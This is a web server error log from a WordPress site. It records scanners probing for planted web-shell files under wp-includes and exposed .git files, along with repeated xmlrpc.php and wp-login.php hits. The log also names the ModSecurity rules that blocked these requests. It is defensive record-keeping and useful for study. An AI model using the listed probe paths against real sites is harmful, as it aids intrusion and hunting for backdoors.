[Mon Dec 29 05:27:57.672905 2025] [autoindex:error] [pid 11452:tid 11497] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Mon Dec 29 05:27:57.974269 2025] [autoindex:error] [pid 11452:tid 11505] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 29 05:28:00.847351 2025] [autoindex:error] [pid 11452:tid 11498] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 05:28:00.967715 2025] [autoindex:error] [pid 11452:tid 11489] [client 4.189.96.96:23893] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Mon Dec 29 05:28:01.081624 2025] [:error] [pid 11452:tid 11482] [client 4.189.96.96:23893] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aVGg4ahBUmuWsliUNqTlZgAAAEA"], referer: https://www.google.co.uk/
[Mon Dec 29 05:28:01.309586 2025] [:error] [pid 37389:tid 37454] [client 4.189.96.96:33750] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/alfa-rex.php"] [unique_id "aVGg4cEYrQKI4GZ26QaGMAAAAQA"], referer: https://www.google.fr/
[Mon Dec 29 05:28:01.545073 2025] [autoindex:error] [pid 11540:tid 11553] [client 4.189.96.96:35706] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Cookie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Mon Dec 29 05:28:01.658637 2025] [:error] [pid 11540:tid 11559] [client 4.189.96.96:35706] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/src/Response/about.php"] [unique_id "aVGg4Q1izvtkZ6YWaTxPWQAAANE"], referer: https://www.google.fr/
[Mon Dec 29 05:28:01.894657 2025] [autoindex:error] [pid 11540:tid 11543] [client 4.189.96.96:47035] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 05:28:02.007982 2025] [:error] [pid 11540:tid 11549] [client 4.189.96.96:47035] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/index.php"] [unique_id "aVGg4g1izvtkZ6YWaTxPWwAAAMc"], referer: https://www.google.de/
[Mon Dec 29 05:28:02.236175 2025] [:error] [pid 11453:tid 11520] [client 4.189.96.96:34240] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aVGg4ry-FXnKT7-6pt42ZQAAAIs"], referer: https://duckduckgo.com/
[Mon Dec 29 05:28:02.463744 2025] [:error] [pid 11452:tid 11494] [client 4.189.96.96:25872] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/about.php"] [unique_id "aVGg4qhBUmuWsliUNqTlaAAAAEw"], referer: https://www.google.fr/
[Mon Dec 29 05:28:02.697657 2025] [autoindex:error] [pid 11453:tid 11519] [client 4.189.96.96:33738] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Mon Dec 29 05:28:02.940244 2025] [autoindex:error] [pid 11453:tid 11517] [client 4.189.96.96:33738] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Mon Dec 29 05:28:03.058726 2025] [autoindex:error] [pid 11453:tid 11529] [client 4.189.96.96:33738] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Mon Dec 29 05:28:03.172425 2025] [:error] [pid 11453:tid 11511] [client 4.189.96.96:33738] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aVGg47y-FXnKT7-6pt42awAAAII"], referer: https://www.google.de/
[Mon Dec 29 05:28:03.401213 2025] [:error] [pid 37389:tid 37473] [client 4.189.96.96:48827] [client 4.189.96.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVGg48EYrQKI4GZ26QaGMgAAARM"], referer: https://www.google.co.uk/
[Mon Dec 29 05:28:03.636037 2025] [autoindex:error] [pid 11452:tid 11487] [client 4.189.96.96:28469] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 05:28:03.756079 2025] [autoindex:error] [pid 11452:tid 11493] [client 4.189.96.96:28469] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Mon Dec 29 05:28:05.399475 2025] [:error] [pid 11452:tid 11504] [client 4.189.96.96:28469] [client 4.189.96.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.189.96.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVGg5ahBUmuWsliUNqTlbgAAAFY"], referer: https://www.bing.com/
[Mon Dec 29 05:43:22.904950 2025] [:error] [pid 37389:tid 37478] [client 130.49.179.157:50631] [client 130.49.179.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aVGkesEYrQKI4GZ26QaN5gAAARg"]
[Mon Dec 29 05:43:25.789261 2025] [:error] [pid 11540:tid 11554] [client 130.49.179.157:50085] [client 130.49.179.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aVGkfQ1izvtkZ6YWaTxVBQAAAMw"]
[Mon Dec 29 05:43:29.122570 2025] [:error] [pid 11451:tid 11477] [client 130.49.179.157:61130] [client 130.49.179.157] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/logs/HEAD"] [unique_id "aVGkgZDUmxySx0Vynm-PnwAAABY"]
[Mon Dec 29 05:56:01.361130 2025] [:error] [pid 11453:tid 11519] [client 162.241.218.214:22702] [client 162.241.218.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.218.214, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVGncby-FXnKT7-6pt4_uAAAAIo"]
[Mon Dec 29 07:00:39.598438 2025] [:error] [pid 11540:tid 11563] [client 203.2.64.59:43211] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVG2lw1izvtkZ6YWaTxvSAAAANU"]
[Mon Dec 29 07:35:49.059002 2025] [:error] [pid 11451:tid 11469] [client 162.241.217.213:51744] [client 162.241.217.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.217.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVG-1ZDUmxySx0Vynm-rfQAAAA4"]
[Mon Dec 29 08:09:30.815217 2025] [:error] [pid 37389:tid 37460] [client 143.244.166.58:52332] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVHGusEYrQKI4GZ26QbIBAAAAQY"]
[Mon Dec 29 08:56:35.206104 2025] [:error] [pid 37389:tid 37457] [client 82.197.68.158:47406] [client 82.197.68.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.197.68.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVHRw8EYrQKI4GZ26QbZtQAAAQM"]
[Mon Dec 29 09:43:35.196308 2025] [:error] [pid 11451:tid 11455] [client 82.165.19.236:50944] [client 82.165.19.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.19.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVHcx5DUmxySx0Vynm_J3QAAAAA"]
[Mon Dec 29 10:17:14.963981 2025] [:error] [pid 42293:tid 42319] [client 92.119.193.81:33431] [client 92.119.193.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.119.193.81, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVHkqgpAkHF7zSWhAzHKtQAAAVg"], referer: https://gigfragments.org/
[Mon Dec 29 10:29:07.210346 2025] [:error] [pid 11540:tid 11555] [client 54.38.208.175:42608] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.208.175, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVHncw1izvtkZ6YWaTyqKgAAAM0"]
[Mon Dec 29 11:17:14.039839 2025] [:error] [pid 11453:tid 11514] [client 209.250.0.35:47634] [client 209.250.0.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.250.0.35, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVHyury-FXnKT7-6pt6UsQAAAIU"]
[Mon Dec 29 12:01:26.760628 2025] [:error] [pid 11453:tid 11532] [client 138.68.86.74:34396] [client 138.68.86.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.86.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVH9Fry-FXnKT7-6pt6gdAAAAJc"]
[Mon Dec 29 12:50:11.885470 2025] [:error] [pid 42293:tid 42306] [client 188.34.161.164:50322] [client 188.34.161.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.34.161.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVIIgwpAkHF7zSWhAzH9NQAAAUs"]
[Mon Dec 29 13:05:55.127465 2025] [:error] [pid 11453:tid 11529] [client 182.44.12.37:46056] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aVIMM7y-FXnKT7-6pt6qfwAAAJQ"]
[Mon Dec 29 13:35:28.379888 2025] [:error] [pid 24344:tid 24385] [client 167.99.12.50:38746] [client 167.99.12.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.12.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVITIE1cesxuccozvjh0NQAAAko"]
[Mon Dec 29 14:25:54.532642 2025] [:error] [pid 37389:tid 37463] [client 144.6.171.46:55296] [client 144.6.171.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.6.171.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVIe8sEYrQKI4GZ26QYmPQAAAQk"]
[Mon Dec 29 15:09:46.258435 2025] [:error] [pid 37389:tid 37460] [client 185.199.223.39:36880] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVIpOsEYrQKI4GZ26QYrmwAAAQY"]
[Mon Dec 29 16:01:12.253747 2025] [:error] [pid 11452:tid 11505] [client 5.129.215.121:49286] [client 5.129.215.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.129.215.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVI1SKhBUmuWsliUNqRY2wAAAFc"]
[Mon Dec 29 16:49:10.502993 2025] [:error] [pid 42293:tid 42315] [client 104.37.174.183:44668] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVJAhgpAkHF7zSWhAzEx1gAAAVQ"]
[Mon Dec 29 17:37:16.840542 2025] [:error] [pid 11540:tid 11560] [client 66.179.210.205:49644] [client 66.179.210.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.210.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVJLzA1izvtkZ6YWaTzlXQAAANI"]
[Mon Dec 29 20:14:54.552605 2025] [:error] [pid 24307:tid 24316] [client 82.223.128.142:41256] [client 82.223.128.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.128.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVJwvi5AURuH8IsFzz6C2gAAAcY"]
[Mon Dec 29 21:04:17.391800 2025] [:error] [pid 11451:tid 11455] [client 45.33.121.161:37272] [client 45.33.121.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.121.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVJ8UZDUmxySx0Vynm8exgAAAAA"]
[Mon Dec 29 21:20:11.964037 2025] [:error] [pid 4295:tid 4307] [client 68.178.201.184:54470] [client 68.178.201.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.201.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKACzZaf4wrmKkZkFJAzwAAAYo"]
[Mon Dec 29 21:48:37.486995 2025] [:error] [pid 24344:tid 24401] [client 103.253.27.218:62693] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.253.27.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aVKGtU1cesxuccozvjjTlwAAAlg"], referer: binance.com
[Mon Dec 29 21:48:39.299627 2025] [:error] [pid 24344:tid 24375] [client 103.253.27.218:63033] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKGt01cesxuccozvjjTmAAAAkA"], referer: binance.com
[Mon Dec 29 21:49:13.527642 2025] [:error] [pid 24344:tid 24401] [client 103.253.27.218:53782] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG2U1cesxuccozvjjTvwAAAlg"]
[Mon Dec 29 21:49:15.368500 2025] [:error] [pid 11540:tid 11543] [client 103.253.27.218:54090] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG2w1izvtkZ6YWaTwARQAAAME"]
[Mon Dec 29 21:49:17.306371 2025] [:error] [pid 4295:tid 4311] [client 103.253.27.218:54374] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG3TZaf4wrmKkZkFJD2AAAAY4"]
[Mon Dec 29 21:49:19.089546 2025] [:error] [pid 11451:tid 11475] [client 103.253.27.218:54666] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG35DUmxySx0Vynm8iEgAAABQ"]
[Mon Dec 29 21:49:20.796697 2025] [:error] [pid 24344:tid 24400] [client 103.253.27.218:55121] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG4E1cesxuccozvjjTxwAAAlc"]
[Mon Dec 29 21:49:22.560928 2025] [:error] [pid 4295:tid 4320] [client 103.253.27.218:55525] [client 103.253.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.253.27.218, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKG4jZaf4wrmKkZkFJD2wAAAZc"]
[Mon Dec 29 21:56:36.758217 2025] [:error] [pid 37389:tid 37458] [client 192.241.176.150:56138] [client 192.241.176.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.241.176.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKIlMEYrQKI4GZ26QZlUgAAAQQ"]
[Mon Dec 29 22:49:29.212597 2025] [:error] [pid 11451:tid 11462] [client 52.226.240.29:23232] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVKU-ZDUmxySx0Vynm8nQAAAAAc"]
[Mon Dec 29 23:18:24.726073 2025] [:error] [pid 42293:tid 42303] [client 103.131.71.33:21175] [client 103.131.71.33] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "207.46.13.102_3d3ac58d8463837308f32ae367c2da2fbbbe11de"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-content/uploads/2024/04/Thilini-Stock-Photo-2.jpg"] [unique_id "aVKbvgpAkHF7zSWhAzF9jgAAAUg"]
